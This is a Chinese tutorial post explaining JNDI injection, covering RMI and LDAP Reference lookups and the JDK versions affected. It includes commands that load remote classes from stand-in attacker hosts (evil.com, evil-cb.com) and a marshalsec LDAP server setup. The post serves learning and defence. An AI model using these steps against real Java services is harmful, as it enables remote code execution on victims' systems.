当前位置: 首页 > news >正文

【每天学习一点新知识】JNDI注入

  1. 什么是JNDI

JNDI是Java的一种API,为我们提供了查找和访问各种命名和目录服务的通用统一的接口。通过JNDI统一接口我们可以来访问各种不同类型的服务,例如远程方法调用(RMI),通用对象请求代理体系结构(CORBA),轻型目录访问协议(LDAP)或域名服务(DNS),相当于一个中间件,用户无需了解底层应用的具体应用要求,可以直接通过JNDI访问。

命名服务

命名服务是一种简单的键值对绑定,可以通过键名检索值,RMI就是典型的命名服务

通俗易懂,根据名字查找对象,每个人都有自己的名字吧~

目录服务

目录服务是命名服务的拓展。它与命名服务的区别在于它可以通过对象属性来检索对象,比如我们在学校里找一个人,可以通过xx学院——xx专业——xx班级——xx学号来找到他,而这些标签就是该对象的属性值,这种层级关系就很像目录关系,所以这种存储对象的方式就叫目录服务。

RMI
RMI是一种分布式对象应用,RMI技术可以使客户端远程调用服务端的对象,使客户端和服务端之间可以通信并相互传递信息。(说着说着总觉得跟python的socket好像...)
  1. JNDI动态协议转换

Context.PROVIDER_URL,这个属性指定了到哪里加载本地没有的类

Context.PROVIDER_URL被配置过后,ctk.lookup("rmi://localhost:1099/hello")这一处代码改为 ctk.lookup("hello")也是可行的

但是如果开启了动态协议转换,Context.PROVIDER_URL就失效了,当我们调用lookup()方法时,如果lookup方法的参数像是一个URL地址,那么客户端就会去lookup()方法参数指定的URL中加载远程对象,而不是去Context.PROVIDERURL设置的地址去加载对象

所以当lookup的参数可控时......

  1. JNDI Naming Reference

但是攻击者仅调用lookup()方法参数指定的URL中加载远程对象,也是无法实现攻击的。因为受害者本地没有攻击者提供的类的class文件,所以是调用不了方法的。

于是乎,就有了Reference类。

Reference类表示对存在于命名/目录系统以外的对象的引用。如果远程获取 RMI 服务上的对象为 Reference 类或者其子类,则在客户端获取到远程对象存根实例时,可以从其他服务器上加载 class 文件来进行实例化。

在创建Reference类时有三个比较关键的属性

  • className:远程加载时所使用的类名;

  • classFactory:加载的class中需要实例化类的名称;

  • classFactoryLocation:远程加载类的地址,提供classes数据的地址可以是file/ftp/http等协议;

要把一个对象绑定到rmi注册表中,这个对象需要继承UnicastRemoteObject,但是Reference没有继承它,所以我们还需要封装一下它,用 ReferenceWrapper 包裹一下Reference实例对象,这样就可以将其绑定到rmi注册表,并被远程访问到了

// 第一个参数是远程加载时所使用的类名, 第二个参数是要加载的类的完整类名(这两个参数可能有点让人难以琢磨,往下看你就明白了),第三个参数就是远程class文件存放的地址了
Reference refObj = new Reference("refClassName", "insClassName", "http://axin.com:6666/"); 
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);

当有客户端通过lookup("refObj")获取远程对象时,获取的是一个Reference存根(Stub),由于是Reference的存根,所以客户端会现在本地的classpath中去检查是否存在类refClassName,如果不存在则去指定的url(http://axin.com:6666/refClassName.class)动态加载,并且调用insClassName的无参构造函数,所以可以在构造函数里写恶意代码。

当然除了在无参构造函数中写利用代码,还可以利用java的static代码块来写恶意代码,因为static代码块的代码在class文件被加载过后就会立即执行,且只执行一次。

  1. JNDI注入原理

在JNDI中提供了绑定和查找的方法:

bind:将名称绑定到对象中;
lookup:通过名字检索执行的对象;

JNDI的代码格式如下:

String jndiName= ...;//指定需要查找name名称
Context context = new InitialContext();//初始化默认环境
DataSource ds = (DataSourse)context.lookup(jndiName);//查找该name的数据

当jndiName参数可控且开启动态协议转换时,就有可能为黑客的注入攻击提供了机会

注入原理

影响版本
JDK <= 8u121

在8u121之后com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase 等属性的默认值变为false,就不能再利用了

将恶意的Reference类绑定在RMI注册表中,其中恶意引用指向远程恶意的class文件,当用户在JNDI客户端的lookup()函数参数外部可控或Reference类构造方法的classFactoryLocation参数外部可控时,会使用户的JNDI客户端访问RMI注册表中绑定的恶意Reference类,从而加载远程服务器上的恶意class文件在客户端本地执行,最终实现JNDI注入攻击导致远程代码执行

注入过程(基于rmi)

  • 攻击者创建一个恶意对象

  • 绑定恶意的Reference到RMI注册表

  • 攻击者通过可控的 URI 参数,触发动态环境转换,例如,这里 URI 为 rmi://evil.com:1099/refObj;

  • 原先配置好的上下文环境 rmi://localhost:1099 会因为动态环境转换,而被指向 rmi://evil.com:1099/;

  • 用户去 rmi://evil.com:1099 请求绑定对象 refObj,攻击者事先准备好的 RMI 服务,会返回与refObj相绑定的ReferenceWrapper对象(Reference(“EvilObject”, “EvilObject”, “http://evil-cb.com/”));

  • 应用获取到 ReferenceWrapper 对象,开始从本地 CLASSPATH 中搜索 EvilObject 类,如果不存在,则会从 http://evil-cb.com/ 上去尝试获取 EvilObject.class,即动态的去获取 http://evil-cb.com/EvilObject.class;

  • 攻击者事先准备好的服务返回编译好的包含恶意代码的 EvilObject.class;

  • 应用开始调用 EvilObject 类的构造函数,因攻击者事先定义在构造函数,被包含在里面的恶意代码被执行;

注入过程(基于ldap)

除了RMI服务之外,JNDI还可以对接LDAP服务,且LDAP也能返回JNDI Reference对象,利用过程与上面RMI Reference基本一致,只是lookup()中的URL为一个LDAP地址如ldap://xxx/xxx,由攻击者控制的LDAP服务端返回一个恶意的JNDI Reference对象。

影响版本
JDK <= 8u191 且版本不为7u201、6u211、6u141、7u131、8u121

这些版本的com.sun.jndi.ldap.object.trustURLCodebase属性默认值为false

  • 使用marshalsec构建ldap服务,服务端监听

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:7777/#Exec 1099

http://127.0.0.1:7777/为本地服务,Exec是恶意文件,1099是开启的ldap服务端口(默认为1389)

  • 开启本地服务

python -m http.server 7777
  • 直接发起请求即可


import javax.naming.InitialContext;public class JNDILDAPClient {public static void main(String[] args) throws Exception {InitialContext initialContext = new InitialContext();initialContext.lookup("ldap://127.0.0.1:1099/Exec");}
}
  1. 总结

好复杂好复杂

JNDI的调用下图可能更清晰一点,主要就是Client、Server、RMI注册表这三部分

如何利用可以参考下面的漏洞复现的文章

Apache Log4j 远程代码执行漏洞

Fastjson 1.2.24反序列化漏洞

相关文章:

【每天学习一点新知识】JNDI注入

什么是JNDIJNDI是Java的一种API&#xff0c;为我们提供了查找和访问各种命名和目录服务的通用统一的接口。通过JNDI统一接口我们可以来访问各种不同类型的服务&#xff0c;例如远程方法调用&#xff08;RMI&#xff09;&#xff0c;通用对象请求代理体系结构&#xff08;CORBA&…...

Transwarp KunDB 实施方案

星环科技 KunDB 实施方案方案描述优点缺点定期全量逻辑备份基于kundb导入导出工具&#xff0c;定期向kundb导出全量的逻辑数据,恢复时向kundb导入最近全量的逻辑数据。如每天00&#xff1a;00进行一次全量逻辑备份。1. 数据可视化2.方便问题排查3.还原失败不影响数据库的运行状…...

Redis学习之主从复制(八)

这里写目录标题一、主从复制简介1.1原理1.2 主从复制的作用二、主从复制工作流程2.1 建立连接2.1.1 master和slave连接流程2.1.2 master和slave互联2.1.3主从断开连接&#xff08;了解&#xff09;2.1.4 授权访问&#xff08;了解&#xff09;2.2 数据同步2.3 命令传播2.3.1 命…...

mysql8.0安装

创建文件 mkdir /usr/local/mysql mkdir /usr/local/mysql/data cd /usr/local/mysql 下载 wget https://dev.mysql.com/get/Downloads/MySQL-8.0/mysql-8.0.20-linux-glibc2.12-x86_64.tar.xz 解压 xz -d mysql-8.0.20-linux-glibc2.12-x86_64.tar.xz tar xvf mysql-8.0.20-…...

前端经典面试题(有答案)

代码输出结果var a 10var obj {a: 20,say: () > {console.log(this.a)}}obj.say() var anotherObj { a: 30 } obj.say.apply(anotherObj) 输出结果&#xff1a;10 10我么知道&#xff0c;箭头函数时不绑定this的&#xff0c;它的this来自原其父级所处的上下文&#xff0c…...

华为云服务器安装mysql连接失败问题

新买了一个华为云服务器&#xff0c;装了一个宝塔linux工具&#xff0c;很好用&#xff0c;很好用。安装软件&#xff0c;管理软件都很方便。具体怎么操作官方文档很详细&#xff0c;不在这里赘述了。 问题&#xff1a;安装好mysql&#xff0c;安全组开放3306端口。修改root连接…...

合作伙伴管理软件VS CRM,企业应该选择哪一个?

当涉及到管理你公司的伙伴关系和与客户的关系时&#xff0c;有两个主要选择&#xff1a;合作伙伴管理软件和CRM&#xff08;客户关系管理&#xff09;软件。虽然这两种工具都可以帮助你跟踪商业关系的重要信息&#xff0c;但它们都有各自的优势和不足。 合作伙伴管理软件是专门…...

Matter 系列 #9|乐鑫 Matter 预配置服务加速设备生产

乐鑫 Matter 系列文章 #9 目录 Matter 预配置服务 1. 设备认证 (Device Attestation) 2. 独特性 (Uniqueness) 3. 安全性 (Security) 联系我们​​​​​​​ 如今&#xff0c;物联网行业蓬勃发展&#xff0c;大量市场参与者正在积极地构建 Matter 智能设备。 乐鑫一直致…...

手把手交叉编译mysql

1.下载mysql&#xff08;注意下载boost版本&#xff0c;这样会少一步编译&#xff09; 下载mysql的时候一定要看好交叉编译工具链的版本。因为mysql 8.0需要的工具链版本较高&#xff0c;所以有可能不支持 查看链接如下&#xff1a; MySQL :: MySQL 8.0 Reference Manual :: …...

升压模块直流隔离低压转高压稳压电源5v12v24v转50V100V110V150V200V250V400V500V600V800V1000V

特点效率高达80%以上1*2英寸标准封装单电压输出价格低稳压输出工作温度: -40℃~85℃阻燃封装&#xff0c;满足UL94-V0 要求温度特性好可直接焊在PCB 上应用HRB W2~40W 系列模块电源是一种DC-DC升压变换器。该模块电源的输入电压分为&#xff1a;4.5~9V、9~18V、及18~36VDC标准&…...

LeetCode:977 有序数组平方

给你一个按 非递减顺序 排序的整数数组 nums&#xff0c;返回 每个数字的平方 组成的新数组&#xff0c;要求也按 非递减顺序 排序。 示例 1&#xff1a; 输入&#xff1a;nums [-4,-1,0,3,10] 输出&#xff1a;[0,1,9,16,100] 解释&#xff1a;平方后&#xff0c;数组变为 […...

JAVA环境配置多个环境(全,详细,简单)

下载java包&#xff1a;https://www.oracle.com/java/technologies/downloads &#xff08;8版本稳定&#xff09; 直接无脑安装java程序 &#xff08;包括jdk-开发与jre-运行&#xff09; 接下来是java环境配置&#xff1a; 创建系统变量 &#xff08;用户变量也可以&#…...

10 Seata配置Nacos注册中心和配置中心

Seata配置Nacos注册中心和配置中心 Seata支持注册服务到Nacos&#xff0c;以及支持Seata所有配置放到Nacos配置中心&#xff0c;在Nacos中统一维护&#xff1b; 高可用(集群)模式下就需要配合Nacos来完成: 具体配置如下 注册中心 Seata-server端配置注册中心&#xff0c;…...

[数据库]表的增删改查进阶

●&#x1f9d1;个人主页:你帅你先说. ●&#x1f4c3;欢迎点赞&#x1f44d;关注&#x1f4a1;收藏&#x1f496; ●&#x1f4d6;既选择了远方&#xff0c;便只顾风雨兼程。 ●&#x1f91f;欢迎大家有问题随时私信我&#xff01; ●&#x1f9d0;版权&#xff1a;本文由[你帅…...

Kubernetes调度之Pod亲和性

Kubernetes调度中的Pod亲和性abstract.pngPod亲和性节点亲和性&#xff0c;是基于节点的标签对Pod进行调度。而Pod亲和性则可以实现基于已经在节点上运行Pod的标签来约束新Pod可以调度到的节点。具体地&#xff0c;如果X上已经运行了一个或多个满足规则Y的Pod&#xff0c;则这个…...

建立相关在线社群的3个简单步骤

在线社群管理和社交媒体营销通常被视为一回事。虽然社群管理确实是社交媒体营销的一个关键部分&#xff0c;但它的意义超越了社交媒体的内容发布。因此&#xff0c;在线社群对于企业的数字营销十分重要。创建、维护和发展社群不是一件容易的工作&#xff0c;也不是一个快速的过…...

安全运营的新模式

安全运营的新模式是传统安全运维的扩展和升级&#xff0c;其实现落地需要管理和技术两斱面同时支撑、相互衎接和配合&#xff0c;缺夰仸何一个都是行不通的。管理斱面&#xff0c;在顶层设计时&#xff0c;网络安全运营要根据国家信息安全等级保护 2.0 的相关要求&#xff0c;参…...

Day10-网页布局实战CSS3

一 补充 1 画三角形 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta http-equiv"X-UA-Compatible" content"IEedge"><meta name"viewport" content"widthdevi…...

代码规范(C/C++规范)

文章目录前言个人编写的代码规范链接请求合作大体章节END前言 什么是代码规范 一套用于统一代码开发的准则 为什么需要代码规范 提升代码可读性&#xff0c;提升团队效率 个人编写的代码规范 近期本人编写了一份以C/C为主的代码规范。 其他语言开发者也可以阅读参考。 本…...

春招冲刺(九):计算属性和监视属性总结

计算属性和监视属性总结 Q1&#xff1a;计算属性 姓&#xff1a;<input type"text" v-model"firstName"><br><br> 名&#xff1a;<input type"text" v-model"lastName"><br><br> 姓名&#xff…...

超短脉冲激光自聚焦效应

前言与目录 强激光引起自聚焦效应机理 超短脉冲激光在脆性材料内部加工时引起的自聚焦效应&#xff0c;这是一种非线性光学现象&#xff0c;主要涉及光学克尔效应和材料的非线性光学特性。 自聚焦效应可以产生局部的强光场&#xff0c;对材料产生非线性响应&#xff0c;可能…...

树莓派超全系列教程文档--(62)使用rpicam-app通过网络流式传输视频

使用rpicam-app通过网络流式传输视频 使用 rpicam-app 通过网络流式传输视频UDPTCPRTSPlibavGStreamerRTPlibcamerasrc GStreamer 元素 文章来源&#xff1a; http://raspberry.dns8844.cn/documentation 原文网址 使用 rpicam-app 通过网络流式传输视频 本节介绍来自 rpica…...

【SQL学习笔记1】增删改查+多表连接全解析(内附SQL免费在线练习工具)

可以使用Sqliteviz这个网站免费编写sql语句&#xff0c;它能够让用户直接在浏览器内练习SQL的语法&#xff0c;不需要安装任何软件。 链接如下&#xff1a; sqliteviz 注意&#xff1a; 在转写SQL语法时&#xff0c;关键字之间有一个特定的顺序&#xff0c;这个顺序会影响到…...

Psychopy音频的使用

Psychopy音频的使用 本文主要解决以下问题&#xff1a; 指定音频引擎与设备&#xff1b;播放音频文件 本文所使用的环境&#xff1a; Python3.10 numpy2.2.6 psychopy2025.1.1 psychtoolbox3.0.19.14 一、音频配置 Psychopy文档链接为Sound - for audio playback — Psy…...

LLM基础1_语言模型如何处理文本

基于GitHub项目&#xff1a;https://github.com/datawhalechina/llms-from-scratch-cn 工具介绍 tiktoken&#xff1a;OpenAI开发的专业"分词器" torch&#xff1a;Facebook开发的强力计算引擎&#xff0c;相当于超级计算器 理解词嵌入&#xff1a;给词语画"…...

如何理解 IP 数据报中的 TTL?

目录 前言理解 前言 面试灵魂一问&#xff1a;说说对 IP 数据报中 TTL 的理解&#xff1f;我们都知道&#xff0c;IP 数据报由首部和数据两部分组成&#xff0c;首部又分为两部分&#xff1a;固定部分和可变部分&#xff0c;共占 20 字节&#xff0c;而即将讨论的 TTL 就位于首…...

中医有效性探讨

文章目录 西医是如何发展到以生物化学为药理基础的现代医学&#xff1f;传统医学奠基期&#xff08;远古 - 17 世纪&#xff09;近代医学转型期&#xff08;17 世纪 - 19 世纪末&#xff09;​现代医学成熟期&#xff08;20世纪至今&#xff09; 中医的源远流长和一脉相承远古至…...

在Ubuntu24上采用Wine打开SourceInsight

1. 安装wine sudo apt install wine 2. 安装32位库支持,SourceInsight是32位程序 sudo dpkg --add-architecture i386 sudo apt update sudo apt install wine32:i386 3. 验证安装 wine --version 4. 安装必要的字体和库(解决显示问题) sudo apt install fonts-wqy…...

宇树科技,改名了!

提到国内具身智能和机器人领域的代表企业&#xff0c;那宇树科技&#xff08;Unitree&#xff09;必须名列其榜。 最近&#xff0c;宇树科技的一项新变动消息在业界引发了不少关注和讨论&#xff0c;即&#xff1a; 宇树向其合作伙伴发布了一封公司名称变更函称&#xff0c;因…...

uniapp 字符包含的相关方法

在uniapp中&#xff0c;如果你想检查一个字符串是否包含另一个子字符串&#xff0c;你可以使用JavaScript中的includes()方法或者indexOf()方法。这两种方法都可以达到目的&#xff0c;但它们在处理方式和返回值上有所不同。 使用includes()方法 includes()方法用于判断一个字…...